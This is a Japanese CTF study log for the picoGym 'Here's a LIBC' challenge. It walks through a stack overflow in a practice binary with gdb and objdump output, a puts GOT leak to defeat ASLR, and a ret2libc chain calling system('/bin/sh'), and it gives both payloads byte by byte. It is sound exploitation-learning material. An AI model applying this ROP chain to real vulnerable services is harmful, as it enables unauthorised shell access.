picoGym Practice Challenges Here's a LIBC を勉強した記録

picoGym Practice Challenges Here's a LIBC を題材に libcアドレスリークを勉強した記録。
Satoooon様，大変参考になりました。ありがとうございます。
libc leak

# 問題
入手できるデータは，
vuln
libc.so.6
Makefile

```:Makefile
all:
	gcc -Xlinker -rpath=./ -m64 -fno-stack-protector -no-pie -o vuln vuln.c
clean:
	rm vuln
```

# Satoooonの物置 で勉強

https://satoooon1024.hatenablog.com/entry/2021/03/31/093021#Heres-a-LIBC-90-points

先生曰く「do_stuff関数にBOFがあるのでGOTからlibc leakしてret2vulnしてsystem("/bin/sh")して終わりです。」とのことだが，意味がさっぱりわからない。

先生のコードを追って勉強させていただく。

## ROPの部品

```
pop_rdi = 0x0000000000400913
ret = 0x000000000040052e
```

pop rdi; ret ( 5f c3 ) を探す

```
$ objdump -d -M intel ./vuln | less
/ 5f
  400912:       41 5f                   pop    r15
  400914:       c3                      ret   
```

ret ( c3 ) を探す

```
$ objdump -d -M intel ./vuln | less
/ c3
  40052e:       c3                      ret  
```

## bof
./vuln で実行すると
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1163572/88f344ad-d9e2-a5a4-04c8-869bb4b79b84.png)

Segmentation fault となり，どこかにbofがある。
"A"の数はだいたい120 ～ 150 

Ghidraでデコンパイルすると
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1163572/0eaa70de-ef8b-a47d-5315-f6181b3fa826.png)
WeLcOmE To mY EcHo sErVeR! の文字がmain関数内のstack stringsに見える。
43行目のputs(local_50);でWeLcOmE To mY EcHo sErVeR!を出力しているので，bofは，その下のdo_stuff関数にあることに間違いない。


main関数

```:main
gdb-peda$ pdisass 
Dump of assembler code for function main:
   0x0000000000400771 <+0>:	push   rbp
   0x0000000000400772 <+1>:	mov    rbp,rsp
=> 0x0000000000400775 <+4>:	push   r15
   0x0000000000400777 <+6>:	push   r14
   0x0000000000400779 <+8>:	push   r13
   0x000000000040077b <+10>:	push   r12
   0x000000000040077d <+12>:	sub    rsp,0x60
   0x0000000000400781 <+16>:	mov    DWORD PTR [rbp-0x74],edi
   0x0000000000400784 <+19>:	mov    QWORD PTR [rbp-0x80],rsi
   0x0000000000400788 <+23>:	mov    rax,QWORD PTR [rip+0x2008c1]        # 0x601050 <stdout@@GLIBC_2.2.5>
   0x000000000040078f <+30>:	mov    esi,0x0
   0x0000000000400794 <+35>:	mov    rdi,rax
   0x0000000000400797 <+38>:	call   0x400560 <setbuf@plt>
   0x000000000040079c <+43>:	call   0x400570 <getegid@plt>
   0x00000000004007a1 <+48>:	mov    DWORD PTR [rbp-0x2c],eax
   0x00000000004007a4 <+51>:	mov    edx,DWORD PTR [rbp-0x2c]
   0x00000000004007a7 <+54>:	mov    ecx,DWORD PTR [rbp-0x2c]
   0x00000000004007aa <+57>:	mov    eax,DWORD PTR [rbp-0x2c]
   0x00000000004007ad <+60>:	mov    esi,ecx
   0x00000000004007af <+62>:	mov    edi,eax
   0x00000000004007b1 <+64>:	mov    eax,0x0
   0x00000000004007b6 <+69>:	call   0x400550 <setresgid@plt>
   0x00000000004007bb <+74>:	mov    QWORD PTR [rbp-0x38],0x1b
   0x00000000004007c3 <+82>:	movabs rax,0x20656d6f636c6557
   0x00000000004007cd <+92>:	movabs rdx,0x636520796d206f74
   0x00000000004007d7 <+102>:	mov    QWORD PTR [rbp-0x70],rax
   0x00000000004007db <+106>:	mov    QWORD PTR [rbp-0x68],rdx
   0x00000000004007df <+110>:	movabs rax,0x6576726573206f68
   0x00000000004007e9 <+120>:	mov    QWORD PTR [rbp-0x60],rax
   0x00000000004007ed <+124>:	mov    WORD PTR [rbp-0x58],0x2172
   0x00000000004007f3 <+130>:	mov    BYTE PTR [rbp-0x56],0x0
   0x00000000004007f7 <+134>:	mov    rax,QWORD PTR [rbp-0x38]
   0x00000000004007fb <+138>:	mov    rdx,rax
   0x00000000004007fe <+141>:	sub    rdx,0x1
   0x0000000000400802 <+145>:	mov    QWORD PTR [rbp-0x40],rdx
   0x0000000000400806 <+149>:	mov    r14,rax
   0x0000000000400809 <+152>:	mov    r15d,0x0
   0x000000000040080f <+158>:	mov    r12,rax
   0x0000000000400812 <+161>:	mov    r13d,0x0
   0x0000000000400818 <+167>:	mov    edx,0x10
   0x000000000040081d <+172>:	sub    rdx,0x1
   0x0000000000400821 <+176>:	add    rax,rdx
   0x0000000000400824 <+179>:	mov    ecx,0x10
   0x0000000000400829 <+184>:	mov    edx,0x0
   0x000000000040082e <+189>:	div    rcx
   0x0000000000400831 <+192>:	imul   rax,rax,0x10
   0x0000000000400835 <+196>:	sub    rsp,rax
   0x0000000000400838 <+199>:	mov    rax,rsp
   0x000000000040083b <+202>:	add    rax,0x0
   0x000000000040083f <+206>:	mov    QWORD PTR [rbp-0x48],rax
   0x0000000000400843 <+210>:	mov    QWORD PTR [rbp-0x28],0x0
   0x000000000040084b <+218>:	jmp    0x400880 <main+271>
   0x000000000040084d <+220>:	lea    rdx,[rbp-0x70]
   0x0000000000400851 <+224>:	mov    rax,QWORD PTR [rbp-0x28]
   0x0000000000400855 <+228>:	add    rax,rdx
   0x0000000000400858 <+231>:	movzx  eax,BYTE PTR [rax]
   0x000000000040085b <+234>:	movsx  eax,al
   0x000000000040085e <+237>:	mov    rdx,QWORD PTR [rbp-0x28]
   0x0000000000400862 <+241>:	mov    rsi,rdx
   0x0000000000400865 <+244>:	mov    edi,eax
   0x0000000000400867 <+246>:	call   0x400677 <convert_case>
   0x000000000040086c <+251>:	mov    ecx,eax
   0x000000000040086e <+253>:	mov    rdx,QWORD PTR [rbp-0x48]
   0x0000000000400872 <+257>:	mov    rax,QWORD PTR [rbp-0x28]
   0x0000000000400876 <+261>:	add    rax,rdx
   0x0000000000400879 <+264>:	mov    BYTE PTR [rax],cl
   0x000000000040087b <+266>:	add    QWORD PTR [rbp-0x28],0x1
   0x0000000000400880 <+271>:	mov    rax,QWORD PTR [rbp-0x28]
   0x0000000000400884 <+275>:	cmp    rax,QWORD PTR [rbp-0x38]
   0x0000000000400888 <+279>:	jb     0x40084d <main+220>
   0x000000000040088a <+281>:	mov    rax,QWORD PTR [rbp-0x48]
   0x000000000040088e <+285>:	mov    rdi,rax
   0x0000000000400891 <+288>:	call   0x400540 <puts@plt>
   0x0000000000400896 <+293>:	mov    eax,0x0
   0x000000000040089b <+298>:	call   0x4006d8 <do_stuff>
   0x00000000004008a0 <+303>:	jmp    0x400896 <main+293>
End of assembler dump.

```

do_stuff 関数の戻りアドレスは，0x4008a0

0x4008a0 を保持しているスタックのアドレスを確認する

```
gdb-peda$ b *0x000000000040089b
gdb-peda$ r
gdb-peda$ c
Breakpoint 2, 0x000000000040089b in main ()
gdb-peda$ si
[-------------------------------------code-------------------------------------]
   0x4006d2 <convert_case+91>:	movzx  eax,BYTE PTR [rbp-0x4]
   0x4006d6 <convert_case+95>:	pop    rbp
   0x4006d7 <convert_case+96>:	ret    
=> 0x4006d8 <do_stuff>:	push   rbp
   0x4006d9 <do_stuff+1>:	mov    rbp,rsp
   0x4006dc <do_stuff+4>:	sub    rsp,0x90
   0x4006e3 <do_stuff+11>:	mov    QWORD PTR [rbp-0x10],0x0
   0x4006eb <do_stuff+19>:	lea    rax,[rbp-0x80]
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffe3c8 --> 0x4008a0 (<main+303>:	jmp    0x400896 <main+293>)
0008| 0x7fffffffe3d0 ("WeLcOmE To mY EcHo sErVeR!")
0016| 0x7fffffffe3d8 ("To mY EcHo sErVeR!")
0024| 0x7fffffffe3e0 ("Ho sErVeR!")
0032| 0x7fffffffe3e8 --> 0x2152 ('R!')
0040| 0x7fffffffe3f0 --> 0x7fffffffe558 --> 0x7fffffffe796 ("/home/sita/share/vuln")
0048| 0x7fffffffe3f8 --> 0x100000000 
0056| 0x7fffffffe400 ("Welcome to my echo server!")
[------------------------------------------------------------------------------]
```

0x4008a0 を保持しているスタックのアドレスは， 0x7fffffffe3c8 だ。


ブレークポイントをdo_stuff関数の戻りアドレス0x4008a0にしかけて，runする。
WeLcOmE To mY EcHo sErVeR!にAAAを入力
AaAに変換されている

```
gdb-peda$ b *0x00000000004008a0
Breakpoint 1 at 0x4008a0
gdb-peda$ r

WeLcOmE To mY EcHo sErVeR!
AAA
AaA
```

do_stuff関数の戻りアドレス 0x4008a0 が積まれているスタック 0x7fffffffe3c8
の上に積まれた "AAA" = 0x414141 をさがす -> ない
の上に積まれた "AaA" = 0x416141 をさがす -> あった
 
```
gdb-peda$ x/50xg 0x7fffffffe3c8 - 0x100
0x7fffffffe2c8:	0x000000000000001b	0x0000000000000000
0x7fffffffe2d8:	0x00007ffff7a6f473	0x0000000000000003
0x7fffffffe2e8:	0x00007ffff7dce760	0x00007fffffffe340
0x7fffffffe2f8:	0x00007ffff7a62bd2	0x0000000000000000
0x7fffffffe308:	0x0000000000000000	0x00007fffffffe3c0
0x7fffffffe318:	0x000000000000001b	0x0000000000000000
0x7fffffffe328:	0x000000000040076e	0x00007ffff7dce7e3
0x7fffffffe338:	0x0a007ffff7a6efc1	0x00007fff00416141  <--- ここ
0x7fffffffe348:	0x00007ffff7dce760	0x000000000000000a
0x7fffffffe358:	0x00007fffffffe3d0	0x00007ffff7dca2a0
0x7fffffffe368:	0x000000000000001b	0x0000000000000000
0x7fffffffe378:	0x00007ffff7a6f453	0x000000000000001a
0x7fffffffe388:	0x00007ffff7dce760	0x00007fffffffe3d0
0x7fffffffe398:	0x00007ffff7a62bd2	0x0000000000000000
0x7fffffffe3a8:	0x0000000000000000	0x0000000000000000
0x7fffffffe3b8:	0x0000000000000064	0x00007fffffffe470
0x7fffffffe3c8:	0x00000000004008a0	0x20456d4f634c6557
0x7fffffffe3d8:	0x634520596d206f54	0x6556724573206f48
0x7fffffffe3e8:	0x0000000000002152	0x00007fffffffe558
0x7fffffffe3f8:	0x0000000100000000	0x20656d6f636c6557
0x7fffffffe408:	0x636520796d206f74	0x6576726573206f68
0x7fffffffe418:	0x00007ffff7002172	0x00007fffffffe488
0x7fffffffe428:	0x00007fffffffe3d0	0x000000000000001a
0x7fffffffe438:	0x000000000000001b	0x00000000f7de3b40
0x7fffffffe448:	0x000000000000001b	0x0000000000400590
```

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1163572/6a04bbe9-f42b-08ce-93f8-035de94eae24.png)
"A"の数(オフセット)は 8*17 = 136  と判明

## ret2plt で libcアドレスリーク
libcアドレスリークの部分のペイロードをlog.infoした

```
payload1 = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x13\t@\x00\x00\x00\x00\x00\x18\x10`\x00\x00\x00\x00\x00@\x05@\x00\x00\x00\x00\x00\xd8\x06@\x00\x00\x00\x00\x00'
```

"A"を除いた部分（スタックの上から）

\x13\t@\x00\x00\x00\x00\x00
0x400913
pop rdi; ret

\x18\x10`\x00\x00\x00\x00\x00
0x601018

```
$ objdump -d -M intel ./vuln | less
/ puts
0000000000400540 <puts@plt>:
  400540:       ff 25 d2 0a 20 00       jmp    QWORD PTR [rip+0x200ad2]        # 601018 <puts@GLIBC_2.2.5>
  400546:       68 00 00 00 00          push   0x0
  40054b:       e9 e0 ff ff ff          jmp    400530 <.plt>
```

putsのGOTアドレスだ

@\x05@\x00\x00\x00\x00\x00
0x400540
puts@plt

\xd8\x06@\x00\x00\x00\x00\x00
0x4006d8

```
$ objdump -d -M intel ./vuln | less
/ 4006d8

00000000004006d8 <do_stuff>:
  4006d8:       55                      push   rbp
```

do_stuff の開始アドレスだ

## bof１回目（libcリーク）のペイロード

```
+--------------------+
| pop rdi; ret       |
+--------------------+
| putsのGOT          |
+--------------------+
| puts@plt           |
+--------------------+
| do_stuff           |
+--------------------+
```

rdiレジスタに puts 引数として putsのGOT をセットし，puts を実行して puts の libcアドレスを標準出力に出力させる。
そして，２回目のbofのために，do_stuff を puts内のret からキックする。
（すごいわ）

## リークした結果
log.infoしてみた

```
[*] libc_leak = 0x7ffa39735a30
[*] ??? = 0x80a30
[*] libc.address = 0x7ffa396b5000
```

libc_leak　- ??? = libc.address で計算はあう。
???は何？

```
$ objdump -d -M intel ./libc.so.6 | less
/ IO_puts

0000000000080a30 <_IO_puts@@GLIBC_2.2.5>:
   80a30:       41 55                   push   r13
   80a32:       41 54                   push   r12

```

あった。問題で入手していた libc.so.6 の中の puts のアドレスだ。
ASLR (Address Space Layout Randomization)によって毎回変わるlibcのベースアドレスを

```
リークしたputsのアドレス - 静的なputsのアドレス
```

で求めたということか。

GOT と libc の関係図で私が何回も見ている資料

https://github.com/wani-hackase/wanictf2020-writeup/tree/master/pwn/04-got-rewriter

libcのベースアドレスはわかった。
次は何をするのか？

## bof２回目

```
[*] payload2 = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.\x05@\x00\x00\x00\x00\x00\x13\t@\x00\x00\x00\x00\x00\xfa\x90\x869\xfa\x7f\x00\x00\xe0Dp9\xfa\x7f\x00\x00'
```

"A"を除いた部分（スタックの上から）

.\x05@\x00\x00\x00\x00\x00
0x40052e
ret
なんでいきなり ret なのか？

\x13\t@\x00\x00\x00\x00\x00
0x400913
pop rdi; ret

\xfa\x90\x869\xfa\x7f\x00\x00
0x7ffa398690fa
ベースとの差は，0x7ffa398690fa - 0x7ffa396b5000 = 0x1b40fa

バイナリエディタで libc.so.6 内の /bin/sh を検索すると
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1163572/af4d0147-44e0-ad37-90ee-07b9b36d3d86.png)
ビンゴじゃん。

\xe0Dp9\xfa\x7f\x00\x00
0x7ffa397044e0
ベースとの差は，0x7ffa397044e0 - 0x7ffa396b5000 = 0x4f4e0

```
$ objdump -d -M intel ./libc.so.6 | less
/ system

000000000004f4e0 <__libc_system@@GLIBC_PRIVATE>:
   4f4e0:       48 85 ff                test   rdi,rdi
   4f4e3:       74 0b                   je     4f4f0 <__libc_system@@GLIBC_PRIVATE+0x10>
   4f4e5:       e9 66 fa ff ff          jmp    4ef50 <__strtold_nan@@GLIBC_PRIVATE+0xd0>
   4f4ea:       66 0f 1f 44 00 00       nop    WORD PTR [rax+rax*1+0x0]
   4f4f0:       48 8d 3d 0b 4c 16 00    lea    rdi,[rip+0x164c0b]        # 1b4102 <_libc_intl_domainname@@GLIBC_2.2.5+0x18e>
```

こちらもビンゴ

## bof２回目（shellを奪う）のペイロード

```
+--------------------+
| ret                |
+--------------------+
| pop rdi; ret       |
+--------------------+
| ”/bin/sh”          |
+--------------------+
| system()           |
+--------------------+
```

~~頭の ret が意味不明だが，ほぼ解明完了。~~
頭の ret をとると動かない。
頭の ret は アライメントみたいだ。